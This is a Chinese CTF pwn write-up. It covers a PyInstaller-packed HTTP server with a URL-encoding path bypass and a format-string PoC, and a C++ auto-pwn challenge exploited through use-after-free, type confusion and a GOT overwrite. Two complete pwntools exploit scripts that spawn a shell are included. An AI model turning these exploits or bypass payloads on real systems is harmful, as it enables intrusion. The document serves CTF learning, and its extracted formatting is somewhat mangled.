异或不在星期天-pwn1 推测应该是一个栈溢出。但是encode
函数太大,无法反汇编,因此这里不知道该怎么利用。
patch
的话将return 0
函数patch
为exit
。直接退出,要保存返回值一致的话还需要将rdi
清空。
Babyhttpd-pwn2 首先用ida
反编译看到这是一个pyinstaller
打包的文件
1 2 3 4 5 6 7 8 9 10 11 12 .rodata:000000000000639 D 0000000F C /proc/self/exe .rodata:00000000000063 AC 00000019 C Py_DontWriteBytecodeFlag .rodata:00000000000063 C5 0000001 D C Py_FileSystemDefaultEncoding .rodata:00000000000063E2 0000000 E C Py_FrozenFlag .rodata:00000000000063F 0 00000019 C Py_IgnoreEnvironmentFlag .rodata:0000000000006409 0000000 E C Py_NoSiteFlag .rodata:0000000000006417 00000017 C Py_NoUserSiteDirectory .rodata:000000000000642 E 00000010 C Py_OptimizeFlag .rodata:000000000000643 E 0000000F C Py_VerboseFlag .rodata:000000000000644 D 0000000 E C Py_BuildValue .rodata:000000000000645B 0000000 A C Py_DecRef .rodata:0000000000006465 0000001 C C Cannot dlsym for Py_DecRef\n
pyinstaller
打包的原理是对py
进行编码,在执行的过程中会解码出一个pyc
到tmp
目录下面,打包之后的程序有一个python
解释器,执行pyc
。
那么将pyinstaller
打包之后的elf
文件解为py
文件有如下的步骤
首先通过https://github.com/extremecoders-re/pyinstxtractor/wiki/Extracting-Linux-ELF-binaries
中的工具将elf
解码为pyc
文件。
1 2 objcopy --dump-section pydata=pydata.dump testfile.elf python pyinstxtractor.py pydata.dump
对于exe
文件直接运行这个脚本即可
解码得到pyc
文件之后需要将pyc
解码为py
文件,但是这个题目中struct.pyc
可以解码成功,但是主要的input_httpd.pyc
无法解码,magic_number
错误,那么此时对照struct.pyc
修改input_httpd.pyc
的头
也就是将03f3 0d0a 0000 0000 0000 0000
修改为160d 0d0a 7079 6930 0101
。
最后使用
1 /usr/local/bin/uncompyle6 input_httpd.pyc > input_httpd.py
解码得到input_httpd.py
这个文件。
程序存在两个漏洞,其中一个预计是非预期在do_Get
函数中
1 2 3 4 5 6 7 def do_GET (self ): f = self.send_head() if f: try : self.copyfile(f, self.wfile) finally : f.close()
1 2 3 4 5 6 7 8 def send_head (self ): path = self.translate_path(self.path) f = None if 'flag' in self.path: self.send_error(403 , self.responses[403 ][0 ]) return if os.path.isdir(path): pass
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 def translate_path (self, path ): path = path.split('?' , 1 )[0 ] path = path.split('#' , 1 )[0 ] trailing_slash = path.rstrip().endswith('/' ) path = posixpath.normpath(unquote(path)) words = path.split('/' ) words = filter (None , words) path = os.getcwd() for word in words: if not os.path.dirname(word): if word in (os.curdir, os.pardir): pass else : path = os.path.join(path, word) if trailing_slash: path += '/' return path
我们看到其实对用户访问的路径进行了检查,但是需要注意的是这里的检查存在问题,也就是检查的对象是self.path
,但是打开的文件却是flag
。这两个不同,我们看一下translate_path
中的逻辑,这里是对我们输入的路径进行了处理,得到url
解码之后的部分,并去除了参数等。
那么这里我们就可以利用url
编码进行绕过。
1 GET %66 %6 c%61 %67 HTTP/1.1
还有一个漏洞是格式化字符串漏洞,这里也是一个堆溢出的漏洞。
1 2 3 4 5 6 7 8 9 def send_header (self, keyword, value ): if type (value) != bytes : value = value.encode() if self.request_version != 'HTTP/0.9' : if os_system == 'Linux' : string = ctypes.c_buffer(1024 ) self.libc.sprintf(string, value) self.wfile.write('%s: %s\r\n' % (keyword, string.value.decode()))
这里很明显存在一个格式化字符串的漏洞,这是在BaseHTTPRequestHandler
类中使用到的函数,我们看一下调用该函数的位置。
1 2 3 4 5 self.send_header('Content-Type' , self.error_content_type) self.send_header('Server' , self.version_string()) self.send_header('Date' , self.date_time_string()) if self.set_cookie: self.send_header('Cookie' , self.cookie)
也就是说我们可以在这些成员变量中使用格式化字符串,poc
如下
1 2 3 4 5 6 7 8 9 10 11 12 13 ➜ run ./ori_pwn GET / HTTP/1.1 Set-Cookie: %p-%p-%p-%p HTTP/1.1 200 OK Server: BabyHTTP/0.0 .1 Python/3.5 .2 Date: Thu, 01 Apr 2021 02 :04 :12 GMT Cookie: 0x7ffff631d788 -0x7ffff631d788 -0x7ffff7f94fd8 -0x5555555748c0 Content-type: text/html Content-Length: 20 Last-Modified: Thu, 01 Apr 2021 01 :13 :49 GMT <h1>hello world<h1>
但是还不知道如何利用。
c++ pwn3 题目类似于一个auto pwn
,即每次链接的时候二进制都不相同。我们首先分一个二进制程序。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 init(); std ::vector <std ::shared_ptr <Drawf>>::vector (&vector_list);while ( 1 ){ std ::operator<<<std ::char_traits<char >>(&std ::cout , "Choice: " ); std ::istream::operator>>(&std ::cin , &choice); switch ( choice ) { case 1 : Create(&vector_list); break ; case 2 : Get(&vector_list); break ; case 3 : Delete(&vector_list); break ; case 4 : Clone(&vector_list); break ; case 5 : Set(&vector_list); break ; case 6 : View(&vector_list); break ; default : puts ("Invalid." ); break ; } }
一共是提供了上面六种操作方法,其中create
函数就是创建一个特定类型的shared_ptr
,这里创建的shared_ptr
会被push back
到一个vector
中,而创建的类型的名称是随机字符串,也就是每次名称都不相同。
经过调试发现,每种类型包含有四种关键的成员变量,+0x0
的位置是一个vtable
指针,指向该种类型特定的vtable
的位置+0x8
的位置存储的是name
的位置,这是一个strings
类型的变量。也就是说结构体偏移0x10
位置存储的是字符串的长度(这一点需要注意,之后operation ==
的时候会首先进行长度的比较)。
还有其他两个成员变量的偏移量不断变化,其中一个是vector
,另一个是a
。每次create
的时候都会新分配一个类型的结构体,还有一个特定大小的vector
。
get
函数就是输出a
的内容。delete
函数就是从vector
中删除指定name
的shared_ptr
。注意的是这里只是删除了shared_ptr
本身的地址空间,其vector
并没有被删除或者说并没有调用对应的析构函数。
clone
函数则是将指定name
的shared_ptr
的_M_ptr
重新push_back
回去。这里就存在一个漏洞,因为从调试来看,push_back
的new_shared_ptr
和原来的shared_ptr
的_M_ptr
指针的内容相同,但是_M_pi
不同。
Set
函数是每次四子节设置vector
中offset
的位置的内容
View
函数输出vecrtor
中保存的所有类型的shared_ptr
中的name
。
通过调试发现了一个就是UAF
的漏洞,即clone,delete
之后会出现一个悬空指针,我们可以进行double free
。同时需要注意的是,在delete
之后,悬空指针+0x8
的位置会被覆写为pthread_tcache_struct
的地址,那么我们通过view
就可以泄漏出pthread_tcache_struct
的内容。
远程的glibc
版本是2.27 1.3/1.4
也就是开启了tcache doule free
的2.27
版本,那么这里的悬空指针我们就不能直接构造double free
了,因为此时我们还没有能够修改key
的方法。
这里利用的是类型混淆,或者说是伪造一个特定类型的shared_ptr
。因为发现有种类型的vector
的size
正好与某种类型的shared_ptr
的size
相同。
那么这里我们用这种特定的class
进行堆布局,是的vector
申请的时候恰好申请到这种大小的size
。那么此时vector
对应的类型结构体所在的内存空间就链接起来了。那么此时我们全部释放,如果提前布局好tcache
的话就可以触发内存合并。
触发完毕内存合并之后,就可以申请一个vector
很大的类型,此时vector
与上面释放的类型的结构体发生重叠,如果我们提前clone
即构造UAF
的话,那么就可以利用set vector
的方式来伪造结构体中的name
和vector
。
那么利用伪造的vector
就可以做到任意地址写。而libc
基地址的泄漏可以利用name,view
的调用链完成。即将name
写为某个函数的got
表地址。
任意地址写之后就考虑写什么的问题,这里可以直接覆写free_hook
,然后利用UAF
写入/bin/sh
接着调用delete
。
这里我是利用任意地址写,写got
表,覆写memcmp
函数的got
表为system
的地址,然后提前某个类型的name
设定为/bin/sh
,那么之后进行get_dwaft
函数调用即对比name
的时候就可以直接触发getshell
。
这个题目到这里其实还没有完成,因为远程的题目是不断变化的,vector的偏移一直在发生改变。虽然我们可以利用泄漏的pthread_tcache_struct来做到探测各种类型的size,但是之后vector的位置还是没有好的方法。
这里可以直接利用pwntools中的elf函数读取函数固定偏移处的值来获取vector的偏移。
myexp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 from pwn import *file_path = "./pwn3" context.arch = "amd64" context.terminal = ['tmux' , 'splitw' , '-h' ] elf = ELF(file_path) debug = 1 if debug: p = process([file_path]) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) one_gadget = [0x4f3d5 , 0x4f432 , 0x10a41c ] else : p = remote('' , 0 ) libc = ELF('' ) one_gadget = 0x0 type_list = ["ynvaul" , "wgxzEb" , "qOwyJp" , "uxPyxf" , "PCVqej" , "qzPSDm" , "pJEJQH" , "wMPWXa" , "stlHxv" , "pYwVfF" ] size_list = [] tcache_map = {} class_size_list = [] type_addr = 0x407ED8 vtable_address = 0x60C900 def get_bin (): p.recvuntil('==\n' ) data = p.recvuntil('\n===' , drop=True ) os.system("echo %s | base64 -d > ./pwn.xz" % data) os.system("rm ./pwn" ) os.system("xz -d ./pwn.xz" ) os.system("chmod 777 ./pwn" ) def get_type_list (): pwn = ELF('./pwn3' ) types = pwn.read(type_addr, 70 ) for i in range (0 , 70 , 7 ): type_list.append(types[i:i + 6 ]) def create (idx, name ): p.recvuntil('Choice: ' ) p.sendline('1' ) p.recvuntil('type? ' ) p.sendline(type_list[idx]) p.recvuntil('name: ' ) p.sendline(name) def create_by_name (type_name ): p.recvuntil('Choice: ' ) p.sendline('1' ) p.recvuntil('type? ' ) p.sendline(type_name) def delete (name ): p.recvuntil('Choice: ' ) p.sendline('3' ) p.recvuntil('name? ' ) p.sendline(name) def clone (name ): p.recvuntil('Choice: ' ) p.sendline('4' ) p.recvuntil('name? ' ) p.sendline(name) def show (): p.recvuntil('Choice: ' ) p.sendline('6' ) def set (name, offset, value ): p.recvuntil('Choice: ' ) p.sendline('5' ) p.recvuntil('name? ' ) p.sendline(name) p.sendlineafter("off val\n" , str (offset)) p.sendline(value) def get (name ): p.recvuntil('Choice: ' ) p.sendline('2' ) p.recvuntil('name? ' ) p.sendline(name) def view (): p.recvuntil('Choice: ' ) p.sendline('6' ) def gen_name (i, index ): return type_list[i] + chr (index + ord ('a' )) def write_value (name, offset, value ): index = int (offset / 4 ) set (name, index, str (value & 0xffffffff )) set (name, index + 1 , str (value >> 32 )) def get_vtable (index ): return vtable_address + index * 0x38 def get_size_list (idx ): p.recvuntil('Choice: ' ) p.sendline('1' ) p.recvuntil('type? ' ) p.sendline(type_list[idx]) p.recvuntil('size:' ) size = int (p.recvuntil('\n' , drop=True )) size_list.append(size) p.sendline(chr (0x61 + idx) * 0x8 ) def get_class_size_init (): leak_name = "a" * (0x240 ) create(0 , leak_name) clone(leak_name) delete(leak_name) show() p.recvuntil(chr (0x61 + 9 ) * 0x8 ) p.recvuntil("->" ) map = p.recv(0x40 ) for i in range (len (map ) - 2 ): key = 0x20 + 0x10 * i value = u8(map [i:i + 1 ]) tcache_map.update({key: value}) print (tcache_map) def get_class_size (): for i in range (10 ): size_change_count = 0 delete(chr (0x61 + i) * 8 ) show() if i < 9 : p.recvuntil(chr (0x61 + 9 ) * 0x8 ) p.recvuntil("->" ) map = p.recv(0x40 ) for i in range (len (map ) - 2 ): key = 0x20 + 0x10 * i value = u8(map [i:i + 1 ]) old_value = tcache_map.get(key) if value > old_value and key > 0x30 : size_change_count += 1 class_size_list.append(key) tcache_map.update({key: value}) log.success("detected class {} size is {}" .format (i, hex (key))) else : map = p.recv(0x40 ) for i in range (len (map ) - 2 ): key = 0x20 + 0x10 * i value = u8(map [i:i + 1 ]) old_value = tcache_map.get(key) if value > old_value and key > 0x30 : size_change_count += 1 class_size_list.append(key) tcache_map.update({key: value}) log.success("detected class {} size is {}" .format (i, hex (key))) if size_change_count > 1 : print ("error size change count too much" ) exit(0 ) for i in class_size_list: print (hex (i)) for i in range (10 ): create(i, chr (0x61 + i)) for i in range (10 ): get_size_list(i) print (size_list)get_class_size_init() get_class_size() class_index = 0 vec_index = 0 control_inex = 0 for index, value in enumerate (size_list): if 4 * value in class_size_list: vec_index = index class_index = class_size_list.index(4 * value) break for i in range (10 ): total_value = class_size_list[i] + size_list[i] if total_value < size_list[vec_index] * 7 : control_inex = i log.success("class index is {}" .format (class_index)) log.success("vec index is {}" .format (vec_index)) log.success("control index is {}" .format (control_inex)) if debug: context.log_level = "debug" gdb.attach(p, 'b Delete\nb View\nb Set\nb Get\nb Create\nb Clone' ) create(0 , gen_name(0 , 0 )) create(0 , "/bin/shaaaaaaaaa\x00" ) for i in range (7 ): create(6 , gen_name(6 , i)) for i in range (7 ): create(3 , gen_name(3 , i)) for i in range (7 ): delete(gen_name(3 , i)) for i in range (8 ): create(6 , gen_name(6 , 7 + i)) for i in range (7 ): delete(gen_name(6 , i)) clone(gen_name(6 , 2 + 7 )) for i in range (7 ): delete(gen_name(6 , 7 + i)) create(7 , gen_name(7 , 0 )) offset = 0x760 - 0x6e0 new_name = p64(0x00000000004029bc ) write_value(gen_name(7 , 0 ), offset, get_vtable(6 ) + 0x10 ) write_value(gen_name(7 , 0 ), offset + 0x8 , elf.got['setvbuf' ]) write_value(gen_name(7 , 0 ), offset + 0x10 , 8 ) write_value(gen_name(7 , 0 ), offset + 0x78 , elf.got['memcmp' ]) write_value(gen_name(7 , 0 ), offset + 0x78 + 0x8 , elf.got['memcmp' ] + 0x40 ) write_value(gen_name(7 , 0 ), offset + 0x78 + 0x10 , elf.got['memcmp' ] + 0x40 ) view() p.recvuntil(gen_name(6 , 14 )) p.recvuntil("->" ) libc.address = u64(p.recvuntil('->' , drop=True )) - libc.sym['setvbuf' ] log.success("libc address is {}" .format (hex (libc.address))) set (p64(libc.sym['setvbuf' ]), 0 , str (libc.sym['system' ] & 0xffffffff ))get("/bin/sh\x00" ) p.interactive()
xxrw exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 from pwn import *import sys, os, string, reelf_path = './pwn' context(os='linux' , arch='amd64' ) context.terminal = ['tmux' , 'split' , '-h' ] if sys.argv[1 ] == 'local' : p = process(elf_path) if context.arch == 'amd64' : libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) else : libc = ELF('/lib/i386-linux-gnu/libc.so.6' ) elif sys.argv[1 ] == 'remote' : p = remote('172.17.0.6' , 9999 ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) type_list = [] vec_size_list = [] struct_size_list = [] vec_offset_list = [] def get_bin (): p.recvuntil('==\n' ) data = p.recvuntil('\n===' , drop=True ) os.system("echo %s | base64 -d > ./pwn.xz" % data) os.system("rm ./pwn" ) os.system("xz -d ./pwn.xz" ) os.system("chmod 777 ./pwn" ) def get_type_list (): types = elf.read(elf.get_section_by_name('.rodata' ).header.sh_addr + 0xB8 , 70 ) for i in range (0 , 70 , 7 ): type_list.append(types[i:i + 6 ]) def get_vec_size_list (idx ): p.recvuntil('Choice: ' ) p.sendline('1' ) p.recvuntil('type? ' ) p.sendline(type_list[idx]) p.recvuntil('size:' ) size = p.recvuntil('\n' , drop=True ) vec_size_list.append(int (size)) p.sendline(chr (0x61 + idx) * 8 ) p.recvuntil('Choice: ' ) p.sendline('3' ) p.recvuntil('name? ' ) p.sendline(chr (0x61 + idx) * 8 ) def get_struct_size_list (): for idx in range (10 ): func_name = '_ZN11CreatorImplI6{}E6createEv' .format (type_list[idx]) struct_size_list.append(u32(elf.read(elf.functions[func_name].address + 0x10 , 4 ))) def get_vec_offset_list (): for idx in range (10 ): func_name = '_ZN6{}C2Ev' .format (type_list[idx]) if elf.read(elf.functions[func_name].address + 0x2C , 1 ) == '\x05' : vec_offset_list.append(u32(elf.read(elf.functions[func_name].address + 0x2D , 4 ))) else : vec_offset_list.append(u8(elf.read(elf.functions[func_name].address + 0x2E , 1 ))) def get_vtable_offset (idx ): return elf.get_section_by_name('.data.rel.ro' ).header.sh_addr + 0x48 + 0x38 * (9 - idx) def create (idx, name ): p.recvuntil('Choice: ' ) p.sendline('1' ) p.recvuntil('type? ' ) p.sendline(type_list[idx]) p.recvuntil('name: ' ) p.sendline(name) def delete (name ): p.recvuntil('Choice: ' ) p.sendline('3' ) p.recvuntil('name? ' ) p.sendline(name) def clone (name ): p.recvuntil('Choice: ' ) p.sendline('4' ) p.recvuntil('name? ' ) p.sendline(name) def view (): p.recvuntil('Choice: ' ) p.sendline('6' ) def set (name, offset, value ): p.recvuntil('Choice: ' ) p.sendline('5' ) p.recvuntil('name? ' ) p.sendline(name) p.sendlineafter("off val\n" , str (offset)) p.sendline(value) def write_value (name, offset, value ): index = int (offset / 4 ) set (name, index, str (value & 0xffffffff )) set (name, index + 1 , str (value >> 32 )) def get (name ): p.recvuntil('Choice: ' ) p.sendline('2' ) p.recvuntil('name? ' ) p.sendline(name) if sys.argv[1 ] == 'remote' : get_bin() elf = ELF('./pwn' ) get_type_list() print (type_list)for i in range (10 ): get_vec_size_list(i) print (vec_size_list)get_struct_size_list() print (struct_size_list)get_vec_offset_list() print (vec_offset_list)key = 0 global_i = 0 global_j = 0 for i in range (10 ): if key == 1 : break for j in range (10 ): if vec_size_list[i] * 4 == struct_size_list[j]: key = 1 global_i = i global_j = j break create(global_j, 'lyyltql' ) create(global_j, '/bin/sh' ) clone('lyyltql' ) delete('lyyltql' ) elf = ELF('./pwn' ) create(global_i, 'xxrwtcl' ) write_value('xxrwtcl' , 0 , get_vtable_offset(global_j)) write_value('xxrwtcl' , 0x8 , elf.got['setvbuf' ]) write_value('xxrwtcl' , 0x10 , 0x8 ) write_value('xxrwtcl' , vec_offset_list[global_j], elf.got['memcmp' ]) write_value('xxrwtcl' , vec_offset_list[global_j] + 0x8 , elf.got['memcmp' ] + 0x8 ) write_value('xxrwtcl' , vec_offset_list[global_j] + 0x10 , elf.got['memcmp' ] + 0x8 ) view() p.recvuntil('->' ) libcbase = u64(p.recvn(8 )) - libc.sym['setvbuf' ] log.success('libcbase = ' + hex (libcbase)) set (p64(libcbase + libc.sym['setvbuf' ]), 0 , str ((libcbase + libc.sym['system' ]) & 0xffffffff ))get('/bin/sh' ) p.interactive()